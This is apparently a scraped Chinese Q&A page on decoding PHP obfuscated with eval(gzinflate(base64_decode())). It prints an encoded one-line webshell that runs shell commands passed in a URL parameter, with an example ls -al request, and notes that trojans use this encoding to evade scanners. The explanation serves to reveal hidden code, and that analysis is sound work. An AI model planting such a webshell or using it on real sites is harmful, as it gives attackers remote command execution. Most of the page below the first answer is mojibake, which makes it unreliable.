PHP解密..不懂php，解密eval(gzinflate(base64 求php解密eval(gzinflate(base64_de...
你可以编辑一个php文件，输入<?php echo
gzinflate(base64_decode("40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=="));
?>
然后运行这个文件 php test.php 就能看到结果了。
这种方式是很弱的加密，但能避开很多代码检测工具。很多wordpress的插件和木马都采用这种模式。
wordpress常footer进行加密，因为里面包含作者的链接和申明，如果去掉这行代码，整个页面就不能正确显示。
木马可以通过这种隐秘的方式传入一段代码让php执行，像上面的例子，结果是 echo `$_REQUEST[a]`;; ?> 所以你在URL里传入 /？a=ls -al; 就会列出当前目录下所有文件。
一般这种文件都有一个最简单的解码方式
编码乱七八糟地字符串你不认识, eval命令同样不认识, 他最终给eval执行的肯定是正经的PHP代码,直接把eval命令中的参数打印出来就行了
绛旓細"PHP瑙ｅ瘑"鐨勬剰鎬濇槸浣跨敤PHP缂栫▼璇█鐮磋В缁忚繃鍔犲瘑鐨勬暟鎹紝浠ヨ幏鍙栨暟鎹師濮嬬殑鏍煎紡鎴栧唴瀹广傝В瀵嗗彲浠ヨ鐢ㄤ簬鍚勭鐩殑锛屼緥濡傚湪涓浜涙暟鎹硠闇蹭簨浠朵腑锛岃В瀵鍙互甯姪瀹夊叏涓撳杩樺師琚姞瀵嗙殑鏁版嵁锛屼互渚垮垎鏋愬拰鐩戞祴琚硠闇茬殑鏁忔劅淇℃伅銆傚彟澶栵紝瑙ｅ瘑涔熷彲浠ヨ鐢ㄤ簬娴嬭瘯绯荤粺鐨勫畨鍏ㄦэ紝浠ョ‘淇濈郴缁熺殑瀹夊叏鎬у拰闃茶寖鎭舵剰鏀诲嚮銆侾HP鏄...
绛旓細鐒跺悗杩愯杩欎釜鏂囦欢 php test.php 灏辫兘鐪嬪埌缁撴灉浜嗐傝繖绉嶆柟寮忔槸寰堝急鐨勫姞瀵嗭紝浣嗚兘閬垮紑寰堝浠ｇ爜妫娴嬪伐鍏枫傚緢澶歸ordpress鐨勬彃浠跺拰鏈ㄩ┈閮介噰鐢ㄨ繖绉嶆ā寮忋倃ordpress甯竑ooter杩涜鍔犲瘑锛屽洜涓洪噷闈㈠寘鍚綔鑰呯殑閾炬帴鍜岀敵鏄庯紝濡傛灉鍘绘帀杩欒浠ｇ爜锛屾暣涓〉闈㈠氨涓嶈兘姝ｇ‘鏄剧ず銆傛湪椹彲浠ラ氳繃杩欑闅愮鐨勬柟寮忎紶鍏ヤ竴娈典唬鐮佽php鎵ц锛屽儚涓婇潰鐨...
绛旓細瀵逛簬浣跨敤BASE64绛夌紪鐮佸悗鐨PHP鏂囦欢锛屽彲浠ョ敤璁颁簨鏈墦寮鏌ョ湅锛屾墍鏈夊瓧绗﹂兘鏄彲瑙丄SCII瀛楃锛屼竴鑸娇鐢ㄤ袱绉嶆柟娉曞姞澶ч槄璇婚毦搴︼細涓鏄娇鐢$ll111銆$ooo000杩欐牱鐨勫彉閲忥紝瀛楁瘝L鐨勫皬鍐欎笌1娣峰湪涓璧枫佸瓧姣峅鐨勫皬鍐欎笌鏁板瓧0娣峰湪涓璧凤紝涓嶅鏄撳垎杈ㄥ彉閲忓悕绉般備簩鏄娇鐢˙ASE64缂栫爜瀵瑰師濮嬩唬鐮佽繘琛岃浆鎹紝鏈鍚庝娇鐢╡val杩涜澶勭悊銆傚線寰...
绛旓細PHP鎵鏈夌殑鍔犲瘑閮芥槸绾歌佽檸锛屾妸eval鎹负exit锛岀劧鍚庡湪鎺у埗鍙帮紙鎴栬匘OS涓嬶級杩愯涓涓嬪氨鑳界湅瑙侀偅涓猠val璇彞瑙ｅ瘑鍚庣殑浠ｇ爜锛岀敤鏉ユ浛鎹val璇彞鏃㈠彲銆備緥濡備綘鐨勭▼搴忎腑锛岀涓涓猠val鏇挎崲涓篹xit鍚庯紝鎵ц杈撳嚭鐨勪唬鐮佸涓嬶細OO0OO0000=$OOO000000{17}.$OOO000000{12}.$OOO000000{18}.$OOO000000{5}.$OOO000000{19};i...
绛旓細娣锋穯鍑芥暟锛屾槸浠嶼end Guard 4.0涔嬪悗鏂板鐨勪竴椤瑰姛鑳斤紝鑳芥妸PHP鏂囦欢涓殑鎵鏈夊嚱鏁板悕閮借繘琛屾贩娣嗭紝娣锋穯鍚庡彉鎴愪互鈥淿OBFUSCATE_鈥濆紑澶寸殑涓涓测滀贡鐮佲濓紝杩欑鍔犲瘑鏂瑰紡鎰熻鏈夌偣绫讳技Md5锛屽洜涓哄嚱鏁板悕宸茬粡涓嶆槸鍘熸潵鐨勬牱瀛愪簡锛屾墍浠瑙ｅ瘑鍑烘潵鐨凱HP鏂囦欢鏄笉鑳芥甯告墽琛岀殑銆傞粦鍒Dezender鍦4.3鐗堜箣鍚庯紝鏂板鍔犱簡鎸傚叆娣锋穯鍑芥暟搴...
绛旓細瀵逛簬浣跨敤BASE64绛夌紪鐮佸悗鐨PHP鏂囦欢锛屽彲浠ョ敤璁颁簨鏈墦寮鏌ョ湅锛屾墍鏈夊瓧绗﹂兘鏄彲瑙丄SCII瀛楃锛屼竴鑸娇鐢ㄤ袱绉嶆柟娉曞姞澶ч槄璇婚毦搴︼細涓鏄娇鐢$ll111銆$ooo000杩欐牱鐨勫彉閲忥紝瀛楁瘝L鐨勫皬鍐欎笌1娣峰湪涓璧枫佸瓧姣峅鐨勫皬鍐欎笌鏁板瓧0娣峰湪涓璧凤紝涓嶅鏄撳垎杈ㄥ彉閲忓悕绉般備簩鏄娇鐢˙ASE64缂栫爜瀵瑰師濮嬩唬鐮佽繘琛岃浆鎹紝鏈鍚庝娇鐢╡val杩涜澶勭悊銆傚線寰...
绛旓細/ 1. 鎶婅繖鏁存鑴氭湰淇濆瓨涓篸ecrypt.php 2. 鎶婇渶瑕瑙ｅ瘑鐨勪唬鐮佷繚瀛樹负coded.txt骞朵笖鍜宒ecrypt.php鍦ㄥ悓涓鐩綍.3. 鍒涘缓涓涓┖鐧芥枃浠跺懡鍚嶄负 decoded.txt (蹇呴』鎶 decoded.txt 鐨勬潈闄愯缃负CHMOD 0666,涔熷氨鏄彲浠ュ啓鍏ョ殑.褰撶劧,浣犲彲浠 涓嶅垱寤烘枃浠舵枃浠.鍙鏂囦欢澶规湁鍐欏叆鏉冮檺,鑴氭湰渚夸細鑷姩鍒涘缓涓涓 鍚嶄负decoded....
绛旓細md5 涓嶅彲瑙 2绉PHP鐨勬簮鐮佸姞瀵嗘柟寮,姝ゅ姞瀵嗘柟娉曟敮鎸佷换鎰廝HP鐗堛 娉ㄦ剰,鍔犲瘑鍚庣殑PHP浠ｇ爜鏃犻渶绗笁鏂瑰伐鍏瑙ｅ瘑,鍍忓線甯镐竴鏍,鐩存帴杩愯鍗冲彲銆 澶嶅埗浠ｇ爜 浠ｇ爜濡備笅: <?php function encode_file_contents($filename) {$type=strtolower(substr(strrchr($filename,'.'),1));if ('php' == $type && is_file($file...
绛旓細涓鑸殑瑙ｅ瘑鏂规硶锛堟楠わ級锛氫竴銆佸鍒朵竴浠芥枃浠讹紝渚嬪a.php锛涗簩銆佹妸a.php鏂囦欢閲岄潰鐨勭涓涓猠val淇敼涓篹xit锛涗笁銆佸湪鎺у埗鍙拌繍琛宎.php锛澶嶅埗杈撳嚭鐨勫唴瀹癸紝鏇挎崲eval閭ｄ竴琛岋紝渚嬪:c:\>php a.php > 1 c:\>notepad 1 杩欐牱鎵撳紑涓涓浜嬫湰锛岀劧鍚庡叏閫夈佸鍒躲佸叧闂獥鍙ｏ紝鐒跺悗鍦╝.php閲岄潰閫夋嫨鍒氭墠淇敼鐨別xit鐨...
绛旓細<?php a="admin";b=base64_encode($a);c=base64_decode($b);echo "鍔犲瘑鍓嶏細\$a=",$a,"";echo "鍔犲瘑鍚庯細\$b=",$b,"";echo "瑙ｅ瘑鍚庯細\$c=",$c,"";?> 濡傛灉瀵硅繖绉嶆柟寮忓緱鍒扮殑鍔犲瘑缁撴灉涓嶆弧鎰忥紝浣犲彲浠ュ鍔犲瘑鍚庢垨鑰呭姞瀵嗗墠鐨勫瓧绗︿覆杩涜鍙嗗鐞嗭紙鍙嗘槸涓轰簡鏂逛究瑙ｅ瘑锛夛紝鐒跺悗鍦ㄨ繘琛屽姞瀵...
